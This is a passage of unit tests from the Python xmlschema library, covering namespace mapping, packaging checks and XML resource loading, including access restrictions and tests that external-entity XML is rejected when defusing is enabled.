xsi=XSI_NAMESPACE) resource = XMLResource('') data = {'@xmlns:xs': "http://example.test/foo", 'value': [1, 2]} mapper = NamespaceMapper(namespaces) self.assertEqual(mapper.get_namespaces(), {}) mapper = NamespaceMapper(namespaces) self.assertEqual(mapper.get_namespaces(namespaces), namespaces) mapper = NamespaceMapper(namespaces, xmlns_processing='stacked') self.assertEqual(mapper.get_namespaces(), {}) mapper = NamespaceMapper(namespaces, xmlns_processing='stacked') self.assertEqual(mapper.get_namespaces(namespaces), namespaces) mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=data) self.assertEqual(mapper.get_namespaces(), {}) mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=data) self.assertEqual(mapper.get_namespaces(namespaces), namespaces) mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=resource) self.assertEqual(mapper.get_namespaces(), {'': 'http://example.test/foo'}) mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=resource) self.assertEqual(mapper.get_namespaces(namespaces), {**namespaces, **{'': 'http://example.test/foo'}}) mapper = XMLSchemaConverter(namespaces, xmlns_processing='stacked', source=data) self.assertEqual(mapper.get_namespaces(), {'xs': 'http://example.test/foo'}) mapper = XMLSchemaConverter(namespaces, xmlns_processing='stacked', source=data) self.assertEqual(mapper.get_namespaces(namespaces), {**namespaces, **{'xs0': 'http://example.test/foo'}}) def test_copy(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces, strip_namespaces=True) other = copy.copy(mapper) self.assertIsNot(mapper.namespaces, other.namespaces) self.assertDictEqual(mapper.namespaces, other.namespaces) def test_default_namespace(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces) self.assertIsNone(mapper.default_namespace) mapper[''] = 'tns0' self.assertEqual(mapper.default_namespace, 'tns0') def test_map_qname(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces) mapper[''] = XSD_NAMESPACE self.assertEqual(mapper.map_qname(''), '') self.assertEqual(mapper.map_qname('foo'), 'foo') self.assertEqual(mapper.map_qname('{%s}element' % XSD_NAMESPACE), 'element') mapper.pop('') self.assertEqual(mapper.map_qname('{%s}element' % XSD_NAMESPACE), 'xs:element') with self.assertRaises(ValueError) as ctx: mapper.map_qname('{%selement' % XSD_NAMESPACE) self.assertIn("invalid value", str(ctx.exception)) with self.assertRaises(ValueError) as ctx: mapper.map_qname('{%s}element}' % XSD_NAMESPACE) self.assertIn("invalid value", str(ctx.exception)) with self.assertRaises(TypeError) as ctx: mapper.map_qname(None) self.assertIn("must be a string-like object", str(ctx.exception)) with self.assertRaises(TypeError) as ctx: mapper.map_qname(99) self.assertIn("must be a string-like object", str(ctx.exception)) mapper = NamespaceMapper(namespaces, process_namespaces=False) self.assertEqual(mapper.map_qname('bar'), 'bar') self.assertEqual(mapper.map_qname('xs:bar'), 'xs:bar') mapper = NamespaceMapper(namespaces, strip_namespaces=True) self.assertEqual(mapper.map_qname('bar'), 'bar') self.assertEqual(mapper.map_qname('xs:bar'), 'bar') def test_unmap_qname(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces) self.assertEqual(mapper.unmap_qname(''), '') self.assertEqual(mapper.unmap_qname('xs:element'), '{%s}element' % XSD_NAMESPACE) self.assertEqual(mapper.unmap_qname('{foo}bar'), '{foo}bar') self.assertEqual(mapper.unmap_qname('xsd:element'), 'xsd:element') with self.assertRaises(ValueError) as ctx: mapper.unmap_qname('xs::element') self.assertIn("invalid value", str(ctx.exception)) with self.assertRaises(TypeError) as ctx: mapper.unmap_qname(None) self.assertIn("must be a string-like object", str(ctx.exception)) with self.assertRaises(TypeError) as ctx: mapper.unmap_qname(99) self.assertIn("must be a string-like object", str(ctx.exception)) self.assertEqual(mapper.unmap_qname('element'), 'element') mapper[''] = 'foo' self.assertEqual(mapper.unmap_qname('element'), '{foo}element') self.assertEqual(mapper.unmap_qname('element', name_table=['element']), 'element') mapper.strip_namespaces = True # don't do tricks, create a new instance ... self.assertEqual(mapper.unmap_qname('element'), '{foo}element') mapper = NamespaceMapper(namespaces, process_namespaces=False) self.assertEqual(mapper.unmap_qname('bar'), 'bar') self.assertEqual(mapper.unmap_qname('xs:bar'), 'xs:bar') mapper = NamespaceMapper(namespaces, strip_namespaces=True) self.assertEqual(mapper.unmap_qname('bar'), 'bar') self.assertEqual(mapper.unmap_qname('xs:bar'), 'bar') mapper = NamespaceMapper(namespaces) self.assertEqual(mapper.unmap_qname('foo:bar'), 'foo:bar') xmlns = [('foo', 'http://example.com/foo')] self.assertEqual( mapper.unmap_qname('foo:bar', xmlns=xmlns), '{http://example.com/foo}bar' ) def test_set_context_with_stacked_xmlns_processing(self): resource = XMLResource(io.StringIO(self.xml_data)) mapper = NamespaceMapper(source=resource) self.assertEqual(mapper.xmlns_processing, 'stacked') self.assertEqual(len(mapper._contexts), 0) xmlns = mapper.set_context(resource.root, 0) self.assertEqual(len(mapper._contexts), 1) self.assertIs(mapper._contexts[-1].obj, resource.root) self.assertEqual(mapper._contexts[-1].level, 0) self.assertIs(mapper._contexts[-1].xmlns, xmlns) self.assertEqual(mapper._contexts[-1].namespaces, {'': 'http://example.test/foo'}) self.assertEqual(mapper._contexts[-1].reverse, {'http://example.test/foo': ''}) self.assertListEqual(xmlns, [('', 'http://example.test/foo')]) xmlns = mapper.set_context(resource.root, 0) self.assertEqual(len(mapper._contexts), 1) self.assertIs(mapper._contexts[-1].obj, resource.root) self.assertListEqual(xmlns, [('', 'http://example.test/foo')]) mapper.set_context(resource.root[0], 1) self.assertEqual(len(mapper._contexts), 2) self.assertIs(mapper._contexts[-1].obj, resource.root[0]) mapper.set_context(resource.root[1], 1) self.assertEqual(len(mapper._contexts), 2) self.assertIs(mapper._contexts[-1].obj, resource.root[1]) resource = XMLResource('') mapper = NamespaceMapper(source=resource) self.assertEqual(mapper.xmlns_processing, 'stacked') self.assertEqual(len(mapper._contexts), 0) xmlns = mapper.set_context(resource.root, 0) self.assertEqual(len(mapper._contexts), 0) self.assertIsNone(xmlns) def test_set_context_with_collapsed_xmlns_processing(self): resource = XMLResource(io.StringIO(self.xml_data)) mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') self.assertEqual(mapper.xmlns_processing, 'collapsed') xmlns = mapper.set_context(resource.root, 0) self.assertEqual(len(mapper._contexts), 0) self.assertIsNone(xmlns) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo'}) mapper.set_context(resource.root[0], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar'}) mapper.set_context(resource.root[1], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar', 'bar': 'http://example.test/bar'}) mapper.set_context(resource.root[2], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar', 'bar': 'http://example.test/bar'}) mapper.set_context(resource.root[3], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar', 'bar': 'http://example.test/bar', 'foo': 'http://example.test/foo'}) mapper.set_context(resource.root[4], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar', 'bar': 'http://example.test/bar', 'foo': 'http://example.test/foo', 'foo0': 'http://example.test/bar'}) mapper.set_context(resource.root[4], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar', 'bar': 'http://example.test/bar', 'foo': 'http://example.test/foo', 'foo0': 'http://example.test/bar'}) mapper.set_context(resource.root[5], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar', 'bar': 'http://example.test/bar', 'foo': 'http://example.test/foo', 'foo0': 'http://example.test/bar', 'foo1': 'http://example.test/foo2'}) mapper.set_context(resource.root[6], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo', 'default': 'http://example.test/bar', 'bar': 'http://example.test/bar', 'foo': 'http://example.test/foo', 'foo0': 'http://example.test/bar', 'foo1': 'http://example.test/foo2'}) # With default namespaces in non-root elements xml_data = dedent("""\ """) resource = XMLResource(io.StringIO(xml_data)) mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') mapper.set_context(resource.root[0], 1) self.assertEqual(mapper.namespaces, {'foo': 'http://example.test/foo', 'default': 'http://example.test/bar'}) mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') mapper.set_context(resource.root[0], 0) self.assertEqual(mapper.namespaces, {'foo': 'http://example.test/foo', '': 'http://example.test/bar'}) mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') mapper.set_context(resource.root[1], 0) self.assertEqual(mapper.namespaces, {'foo': 'http://example.test/foo', '': 'http://example.test/foo'}) def test_set_context_with_root_only_xmlns_processing(self): resource = XMLResource(io.StringIO(self.xml_data)) mapper = NamespaceMapper(source=resource, xmlns_processing='root-only') self.assertEqual(mapper.xmlns_processing, 'root-only') xmlns = mapper.set_context(resource.root, 0) self.assertEqual(len(mapper._contexts), 0) self.assertIsNone(xmlns) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo'}) mapper.set_context(resource.root[0], 1) self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo'}) def test_set_context_with_none_xmlns_processing(self): resource = XMLResource(io.StringIO(self.xml_data)) namespaces = {'foo': 'http://example.test/foo'} mapper = NamespaceMapper(source=resource, xmlns_processing='none') self.assertEqual(mapper.xmlns_processing, 'none') xmlns = mapper.set_context(resource.root, 0) self.assertEqual(len(mapper._contexts), 0) self.assertIsNone(xmlns) self.assertEqual(mapper.namespaces, {}) mapper = NamespaceMapper(namespaces, source=resource, xmlns_processing='none') xmlns = mapper.set_context(resource.root, 0) self.assertEqual(mapper.namespaces, namespaces) self.assertIsNone(xmlns) def test_set_context_with_encoding(self): mapper = NamespaceMapper() obj = {'@xmlns:foo': 'http://example.test/foo'} xmlns = mapper.set_context(obj, level=0) self.assertEqual(len(mapper._contexts), 0) self.assertIsNone(xmlns) class TestNamespaceResourcesMap(unittest.TestCase): def test_init(self): nsmap = [('tns0', 'schema1.xsd')] self.assertEqual(NamespaceResourcesMap(), {}) self.assertEqual(NamespaceResourcesMap(nsmap), {'tns0': ['schema1.xsd']}) nsmap.append(('tns0', 'schema2.xsd')) self.assertEqual(NamespaceResourcesMap(nsmap), {'tns0': ['schema1.xsd', 'schema2.xsd']}) def test_repr(self): namespaces = NamespaceResourcesMap() namespaces['tns0'] = 'schema1.xsd' namespaces['tns1'] = 'schema2.xsd' self.assertEqual(repr(namespaces), "{'tns0': ['schema1.xsd'], 'tns1': ['schema2.xsd']}") def test_dictionary_methods(self): namespaces = NamespaceResourcesMap() namespaces['tns0'] = 'schema1.xsd' namespaces['tns1'] = 'schema2.xsd' self.assertEqual(namespaces, {'tns0': ['schema1.xsd'], 'tns1': ['schema2.xsd']}) self.assertEqual(len(namespaces), 2) self.assertEqual({x for x in namespaces}, {'tns0', 'tns1'}) del namespaces['tns0'] self.assertEqual(namespaces, {'tns1': ['schema2.xsd']}) self.assertEqual(len(namespaces), 1) namespaces.clear() self.assertEqual(namespaces, {}) def test_copy(self): namespaces = NamespaceResourcesMap( (('tns0', 'schema1.xsd'), ('tns1', 'schema2.xsd'), ('tns0', 'schema3.xsd')) ) self.assertEqual(namespaces, namespaces.copy()) def test_get_locations(self): self.assertEqual(get_locations(None), NamespaceResourcesMap()) self.assertRaises(TypeError, get_locations, 1) locations = (('tns0', 'schema1.xsd'), ('tns1', 'schema2.xsd'), ('tns0', 'schema3.xsd')) self.assertEqual(get_locations(locations), NamespaceResourcesMap(locations)) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('helpers for namespaces') xmlschema-4.1.0/tests/test_package.py000066400000000000000000000100761502040105500176370ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2018-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests about the packaging of the code""" import unittest import glob import fileinput import os import re import importlib class TestPackaging(unittest.TestCase): @classmethod def setUpClass(cls): cls.test_dir = os.path.dirname(os.path.abspath(__file__)) cls.package_dir = os.path.dirname(cls.test_dir) cls.source_dir = os.path.join(cls.package_dir, 'xmlschema') cls.missing_debug = re.compile( r"(\bimport\s+pdb\b|\bpdb\s*\.\s*set_trace\(\s*\)|\bprint\s*\()|\bbreakpoint\s*\(" ) cls.get_version = re.compile(r"(?:\brelease|__version__)\s*=\s*(\'[^\']*\'|\"[^\"]*\")") def test_forgotten_debug_statements(self): # Exclude explicit debug statements written in the code exclude = { 'cli.py': ['print('], } message = "\nFound a debug missing statement at line %d or file %r: %r" filename = None file_excluded = [] files = glob.glob(os.path.join(self.source_dir, '*.py')) + \ glob.glob(os.path.join(self.source_dir, 'validators/*.py')) + \ glob.glob(os.path.join(self.source_dir, 'converters/*.py')) for line in fileinput.input(files): if fileinput.isfirstline(): filename = fileinput.filename() file_excluded = exclude.get(os.path.basename(filename), []) lineno = fileinput.filelineno() if lineno in file_excluded: continue match = self.missing_debug.search(line) if match is None or match.group(0) in file_excluded: continue self.assertIsNone(match, message % (lineno, filename, match.group(0))) def test_version(self): message = "\nFound a different version at line %d or file %r: %r (may be %r)." files = [os.path.join(self.source_dir, '__init__.py')] if self.package_dir is not None: files.extend([ os.path.join(self.package_dir, 'pyproject.toml'), os.path.join(self.package_dir, 'doc/conf.py'), ]) version = filename = None for line in fileinput.input(files): if fileinput.isfirstline(): filename = fileinput.filename() lineno = fileinput.filelineno() match = self.get_version.search(line) if match is not None: if version is None: version = match.group(1).strip('\'\"') else: self.assertTrue( version == match.group(1).strip('\'\"'), message % (lineno, filename, match.group(1).strip('\'\"'), version) ) def test_base_schema_files(self): et = importlib.import_module('xml.etree.ElementTree') schemas_dir = os.path.join(self.source_dir, 'schemas') base_schemas = [ 'XSD_1.0/XMLSchema.xsd', 'XSD_1.1/XMLSchema.xsd', 'XHTML/xhtml1-strict.xsd', 'XLINK/xlink.xsd', 'DSIG/xmldsig11-schema.xsd', 'DSIG/xmldsig-core-schema.xsd', 'VC/XMLSchema-versioning.xsd', 'WSDL/soap-encoding.xsd', 'WSDL/soap-envelope.xsd', 'WSDL/wsdl.xsd', 'WSDL/wsdl-soap.xsd', 'XENC/xenc-schema.xsd', 'XENC/xenc-schema-11.xsd', ] for rel_path in base_schemas: filename = os.path.join(schemas_dir, rel_path) self.assertTrue(os.path.isfile(filename), msg="schema file %r is missing!" % filename) self.assertIsInstance(et.parse(filename), et.ElementTree) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('packaging') xmlschema-4.1.0/tests/test_resources.py000066400000000000000000002001171502040105500202530ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests concerning XML resources""" import io import unittest import os import contextlib import copy import pathlib import platform import warnings from io import StringIO, BytesIO from urllib.request import urlopen, build_opener, FileHandler from urllib.response import addinfourl from urllib.parse import urlsplit, uses_relative from pathlib import Path, PurePath, PureWindowsPath from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from xmlschema import fetch_namespaces, fetch_resource, fetch_schema, \ fetch_schema_locations, XMLResource, XMLResourceError, XMLSchema from xmlschema.names import XSD_NAMESPACE from xmlschema.utils.etree import is_etree_element, is_lxml_element from xmlschema.testing import SKIP_REMOTE_TESTS, XMLSchemaTestCase, run_xmlschema_tests from xmlschema.utils.urls import normalize_url from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError, \ XMLResourceForbidden, XMLResourceBlocked, XMLResourceOSError from xmlschema.resources import XMLResourceManager, iterfind_parser from xmlschema.resources.sax import defuse_xml DRIVE_REGEX = '(/[a-zA-Z]:|/)' if platform.system() == 'Windows' else '' XML_WITH_NAMESPACES = '\n' \ ' \n' \ '' @contextlib.contextmanager def working_dir(path): current = Path().absolute() try: os.chdir(path) yield finally: os.chdir(current) def is_windows_path(path): """Checks if the path argument is a Windows platform path.""" return '\\' in path or ':' in path or '|' in path def add_leading_slash(path): return '/' + path if path and path[0] not in ('/', '\\') else path def filter_windows_path(path): if path.startswith('/\\'): return path[1:] elif path and path[0] not in ('/', '\\'): return '/' + path else: return path class TestResources(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).absolute().parent.joinpath('test_cases') @classmethod def setUpClass(cls): cls.vh_dir = cls.casepath('examples/vehicles') cls.vh_xsd_file = cls.casepath('examples/vehicles/vehicles.xsd') cls.vh_xml_file = cls.casepath('examples/vehicles/vehicles.xml') cls.col_dir = cls.casepath('examples/collection') cls.col_xsd_file = cls.casepath('examples/collection/collection.xsd') cls.col_xml_file = cls.casepath('examples/collection/collection.xml') def check_url(self, url, expected): url_parts = urlsplit(url) if urlsplit(expected).scheme not in uses_relative: expected = add_leading_slash(expected) expected_parts = urlsplit(expected, scheme='file') self.assertEqual(url_parts.scheme, expected_parts.scheme, "%r: Schemes differ." % url) self.assertEqual(url_parts.netloc, expected_parts.netloc, "%r: Netloc parts differ." % url) self.assertEqual(url_parts.query, expected_parts.query, "%r: Query parts differ." % url) self.assertEqual(url_parts.fragment, expected_parts.fragment, "%r: Fragment parts differ." % url) if is_windows_path(url_parts.path) or is_windows_path(expected_parts.path): path = PureWindowsPath(filter_windows_path(url_parts.path)) expected_path = PureWindowsPath(filter_windows_path(expected_parts.path)) else: path = PurePath(url_parts.path) expected_path = PurePath(expected_parts.path) self.assertEqual(path, expected_path, "%r: Paths differ." % url) def test_fetch_resource_function(self): with self.assertRaises(ValueError) as ctx: fetch_resource('') self.assertIn('argument must contain a not empty string', str(ctx.exception)) wrong_path = self.casepath('resources/dummy_file.txt') self.assertRaises(OSError, fetch_resource, wrong_path) wrong_path = self.casepath('/home/dummy_file.txt') self.assertRaises(OSError, fetch_resource, wrong_path) filepath = self.casepath('resources/dummy file.txt') self.assertTrue(fetch_resource(filepath).endswith('dummy%20file.txt')) filepath = Path(self.casepath('resources/dummy file.txt')).relative_to(os.getcwd()) self.assertTrue(fetch_resource(str(filepath), '/home').endswith('dummy%20file.txt')) filepath = self.casepath('resources/dummy file.xml') self.assertTrue(fetch_resource(filepath).endswith('dummy%20file.xml')) with urlopen(fetch_resource(filepath)) as res: self.assertEqual(res.read(), b'DUMMY CONTENT') with working_dir(pathlib.Path(__file__).parent): filepath = 'test_cases/resources/dummy file.xml' result = fetch_resource(filepath) self.assertTrue(result.startswith('file://')) self.assertTrue(result.endswith('dummy%20file.xml')) base_url = "file:///wrong/base/url" result = fetch_resource(filepath, base_url) self.assertTrue(result.startswith('file://')) self.assertTrue(result.endswith('dummy%20file.xml')) def test_fetch_namespaces_function(self): self.assertFalse(fetch_namespaces(self.casepath('resources/malformed.xml'))) def test_fetch_schema_locations_function(self): schema_url, locations = fetch_schema_locations(self.col_xml_file) self.check_url(schema_url, self.col_xsd_file) self.assertEqual(locations[0][0], 'http://example.com/ns/collection') self.check_url(locations[0][1], self.col_xsd_file) with self.assertRaises(ValueError) as ctx: fetch_schema_locations(self.col_xml_file, allow='none') self.assertIn('not found a schema for', str(ctx.exception)) with self.assertRaises(ValueError) as ctx: fetch_schema_locations('') self.assertEqual( "provided arguments don't contain any schema location hint", str(ctx.exception) ) schema_url, locations_ = fetch_schema_locations('', locations) self.check_url(schema_url, self.col_xsd_file) self.assertListEqual(locations, locations_) locations = [('', self.casepath('resources/dummy file.xml'))] with self.assertRaises(ValueError) as ctx: fetch_schema_locations('', locations) self.assertIn('not found a schema for', str(ctx.exception)) with working_dir(pathlib.Path(__file__).parent): locations = [('http://example.com/ns/collection', 'test_cases/examples/collection/collection.xsd')] schema_url, locations_ = fetch_schema_locations('', locations) self.check_url(schema_url, self.col_xsd_file) self.assertNotEqual(locations, locations_) base_url = "file:///wrong/base/url" with self.assertRaises(ValueError) as ctx: fetch_schema_locations('', locations, base_url) self.assertIn('not found a schema for', str(ctx.exception)) def test_fetch_schema_function(self): self.check_url(fetch_schema(self.vh_xml_file), self.vh_xsd_file) # Tests on XMLResource instances def test_xml_resource_representation(self): resource = XMLResource(self.vh_xml_file) self.assertTrue(str(resource).startswith( "XMLResource(root=', xml_text) self.assertIn('', xml_text) def test_xml_resource_from_resource(self): xml_file = urlopen(f'file://{add_leading_slash(self.vh_xml_file)}') try: resource = XMLResource(xml_file, lazy=False) self.assertEqual(resource.source, xml_file) self.assertEqual(resource.root.tag, '{http://example.com/vehicles}vehicles') self.assertIsNone(resource.url) self.assertIsNone(resource.text) resource.load() self.assertTrue(resource.text.startswith('missing namespace declaration' with self.assertRaises(ElementTree.ParseError) as ctx: XMLResource(invalid_xml) self.assertEqual( str(ctx.exception), 'invalid XML syntax: unbound prefix: line 1, column 0' ) def test_xml_resource_from_string_io(self): with open(self.vh_xsd_file) as schema_file: schema_text = schema_file.read() schema_file = StringIO(schema_text) resource = XMLResource(schema_file) self.assertEqual(resource.source, schema_file) self.assertEqual(resource.root.tag, '{http://www.w3.org/2001/XMLSchema}schema') self.assertIsNone(resource.url) self.assertTrue(resource.text.startswith('>', lazy=True) self.assertEqual(resource.root.tag, 'malformed_xml_file') with self.assertRaises(ElementTree.ParseError): XMLResource('', lazy=True) def test_xml_resource_from_wrong_arguments(self): self.assertRaises(TypeError, XMLResource, [b'']) with self.assertRaises(TypeError) as ctx: XMLResource('', base_url=[b'/home']) self.assertIn(' ', str(ctx.exception)) def test_xml_resource_namespace(self): resource = XMLResource(self.vh_xml_file) self.assertEqual(resource.namespace, 'http://example.com/vehicles') resource = XMLResource(self.vh_xsd_file) self.assertEqual(resource.namespace, 'http://www.w3.org/2001/XMLSchema') resource = XMLResource(self.col_xml_file) self.assertEqual(resource.namespace, 'http://example.com/ns/collection') self.assertEqual(XMLResource('').namespace, '') def test_xml_resource_access(self): resource = XMLResource(self.vh_xml_file) base_url = resource.base_url XMLResource(self.vh_xml_file, allow='local') XMLResource( self.vh_xml_file, base_url=os.path.dirname(self.vh_xml_file), allow='sandbox' ) with self.assertRaises(XMLResourceBlocked) as ctx: XMLResource(self.vh_xml_file, allow='remote') self.assertTrue(str(ctx.exception).startswith("block access to local resource")) with self.assertRaises(XMLResourceOSError): XMLResource("https://xmlschema.test/vehicles.xsd", allow='remote') with self.assertRaises(XMLResourceBlocked) as ctx: XMLResource("https://xmlschema.test/vehicles.xsd", allow='local') self.assertEqual(str(ctx.exception), "block access to remote resource https://xmlschema.test/vehicles.xsd") with self.assertRaises(XMLSchemaValueError) as ctx: XMLResource("https://xmlschema.test/vehicles.xsd", allow='sandbox') self.assertEqual(str(ctx.exception), "block access to files out of sandbox requires 'base_url' to be set") with self.assertRaises(XMLSchemaValueError) as ctx: XMLResource("/tmp/vehicles.xsd", allow='sandbox') self.assertEqual( str(ctx.exception), "block access to files out of sandbox requires 'base_url' to be set", ) source = "/tmp/vehicles.xsd" with self.assertRaises(XMLResourceBlocked) as ctx: XMLResource(source, base_url=base_url, allow='sandbox') self.assertEqual( str(ctx.exception), f"block access to out of sandbox file {normalize_url(source)}", ) with self.assertRaises(XMLSchemaTypeError) as ctx: XMLResource("https://xmlschema.test/vehicles.xsd", allow=None) self.assertEqual(str(ctx.exception), "invalid type for argument 'allow'") with self.assertRaises(XMLSchemaValueError) as ctx: XMLResource("https://xmlschema.test/vehicles.xsd", allow='any') self.assertIn("invalid value 'any' for argument 'allow'", str(ctx.exception)) with self.assertRaises(XMLResourceBlocked) as ctx: XMLResource(self.vh_xml_file, allow='none') self.assertTrue(str(ctx.exception).startswith('block access to resource')) self.assertTrue(str(ctx.exception).endswith('vehicles.xml')) with open(self.vh_xml_file) as fp: resource = XMLResource(fp, allow='none') self.assertIsInstance(resource, XMLResource) self.assertIsNone(resource.url) with open(self.vh_xml_file) as fp: resource = XMLResource(fp.read(), allow='none') self.assertIsInstance(resource, XMLResource) self.assertIsNone(resource.url) with open(self.vh_xml_file) as fp: resource = XMLResource(StringIO(fp.read()), allow='none') self.assertIsInstance(resource, XMLResource) self.assertIsNone(resource.url) def test_xml_resource_defuse(self): resource = XMLResource(self.vh_xml_file, defuse='never', lazy=True) self.assertEqual(resource.defuse, 'never') self.assertRaises(ValueError, XMLResource, self.vh_xml_file, defuse='all') self.assertRaises(TypeError, XMLResource, self.vh_xml_file, defuse=None) self.assertIsInstance(resource.root, ElementTree.Element) resource = XMLResource(self.vh_xml_file, defuse='always', lazy=True) self.assertIsInstance(resource.root, ElementTree.Element) xml_file = self.casepath('resources/with_entity.xml') self.assertIsInstance(XMLResource(xml_file, lazy=True), XMLResource) with self.assertRaises(XMLResourceForbidden): XMLResource(xml_file, defuse='always', lazy=True) xml_file = self.casepath('resources/unused_external_entity.xml') self.assertIsInstance(XMLResource(xml_file, lazy=True), XMLResource) with self.assertRaises(XMLResourceForbidden): XMLResource(xml_file, defuse='always', lazy=True) def test_xml_resource_defuse_other_source_types(self): xml_file = self.casepath('resources/external_entity.xml') self.assertIsInstance(XMLResource(xml_file, lazy=True), XMLResource) with self.assertRaises(XMLResourceForbidden): XMLResource(xml_file, defuse='always', lazy=True) with self.assertRaises(XMLResourceForbidden): XMLResource(xml_file, defuse='always', lazy=False) with self.assertRaises(XMLResourceForbidden): XMLResource(xml_file, defuse='always', lazy=True) with self.assertRaises(XMLResourceForbidden): with open(xml_file) as fp: XMLResource(fp, defuse='always', lazy=False) with self.assertRaises(XMLResourceForbidden): with open(xml_file) as fp: XMLResource(fp.read(), defuse='always', lazy=False) with self.assertRaises(XMLResourceForbidden): with open(xml_file) as fp: XMLResource(StringIO(fp.read()), defuse='always', lazy=False) def test_xml_resource_defuse_bypass_example(self): unsafe_xml_file = self.casepath('resources/external_entity.xml') safe_xml_file = self.casepath('resources/dummy file.xml') with self.assertRaises(XMLResourceForbidden): with open(unsafe_xml_file) as fp: defuse_xml(fp) url = normalize_url(safe_xml_file) with open(unsafe_xml_file) as fp: fp.url = url with self.assertRaises(XMLResourceForbidden): defuse_xml(fp) # If XMLResource use fp.url attribute for defusing not-seekable # resources the defuse checks would pass silently with urlopen(fp.url) as fp2: self.assertTrue(fp2.seekable()) self.assertIs(defuse_xml(fp2), fp2) def test_xml_resource_defuse_nonlocal(self): xml_file = self.casepath('resources/external_entity.xml') resource = XMLResource(xml_file, defuse='nonlocal', lazy=True) self.assertIsInstance(resource, XMLResource) with self.assertRaises(XMLResourceForbidden): with open(xml_file) as fp: XMLResource(fp, defuse='nonlocal', lazy=True) with self.assertRaises(XMLResourceForbidden): with open(xml_file) as fp: XMLResource(fp.read(), defuse='nonlocal', lazy=True) with self.assertRaises(XMLResourceForbidden): with open(xml_file) as fp: XMLResource(StringIO(fp.read()), defuse='nonlocal', lazy=True) def test_xml_resource_timeout(self): resource = XMLResource(self.vh_xml_file, timeout=30) self.assertEqual(resource.timeout, 30) self.assertRaises(TypeError, XMLResource, self.vh_xml_file, timeout='100') self.assertRaises(ValueError, XMLResource, self.vh_xml_file, timeout=0) def test_xml_resource_laziness(self): resource = XMLResource(self.vh_xml_file, lazy=True) self.assertTrue(resource.is_lazy()) resource = XMLResource(self.vh_xml_file, lazy=False) self.assertFalse(resource.is_lazy()) resource = XMLResource(self.vh_xml_file, lazy=1) self.assertTrue(resource.is_lazy()) resource = XMLResource(self.vh_xml_file, lazy=2) self.assertTrue(resource.is_lazy()) resource = XMLResource(self.vh_xml_file, lazy=0) self.assertFalse(resource.is_lazy()) with self.assertRaises(ValueError): XMLResource(self.vh_xml_file, lazy=-1) with self.assertRaises(TypeError): XMLResource(self.vh_xml_file, lazy='1') def test_xml_resource_base_url(self): resource = XMLResource(self.vh_xml_file) base_url = resource.base_url self.assertEqual(base_url, XMLResource(self.vh_xml_file, '/other').base_url) with open(self.vh_xml_file) as fp: self.assertIsNone(XMLResource(fp.read()).base_url) with open(self.vh_xml_file) as fp: resource = XMLResource(fp.read(), base_url='/foo') self.assertEqual(resource.base_url, '/foo') base_url = Path(self.vh_xml_file).parent resource = XMLResource('vehicles.xml', base_url) self.assertEqual(resource.base_url, base_url.as_uri()) resource = XMLResource('vehicles.xml', str(base_url)) self.assertEqual(resource.base_url, base_url.as_uri()) resource = XMLResource('vehicles.xml', str(base_url).encode()) self.assertEqual(resource.base_url, base_url.as_uri()) self.assertEqual(resource.base_url, base_url.as_uri()) with self.assertRaises(TypeError): XMLResource(self.vh_xml_file, base_url=False) with self.assertRaises(ValueError): XMLResource(self.vh_xml_file, base_url='') with self.assertRaises(ValueError): XMLResource(self.vh_xml_file, base_url=b'') def test_xml_resource_is_local(self): resource = XMLResource(self.vh_xml_file) self.assertTrue(resource.is_local()) def test_xml_resource_is_remote(self): resource = XMLResource(self.vh_xml_file) self.assertFalse(resource.is_remote()) def test_xml_resource_is_loaded(self): resource = XMLResource(self.vh_xml_file, lazy=False) self.assertFalse(resource.is_loaded()) resource.load() self.assertTrue(resource.is_loaded()) def test_xml_resource__lazy_iterparse(self): resource = XMLResource(self.vh_xml_file, lazy=True) self.assertEqual(resource.defuse, 'remote') for _, elem in resource._lazy_iterparse(self.col_xml_file): self.assertTrue(is_etree_element(elem)) for _, elem in resource._lazy_iterparse(self.col_xml_file): self.assertTrue(is_etree_element(elem)) self.assertDictEqual( resource.get_nsmap(elem), {'col': 'http://example.com/ns/collection', 'xsi': 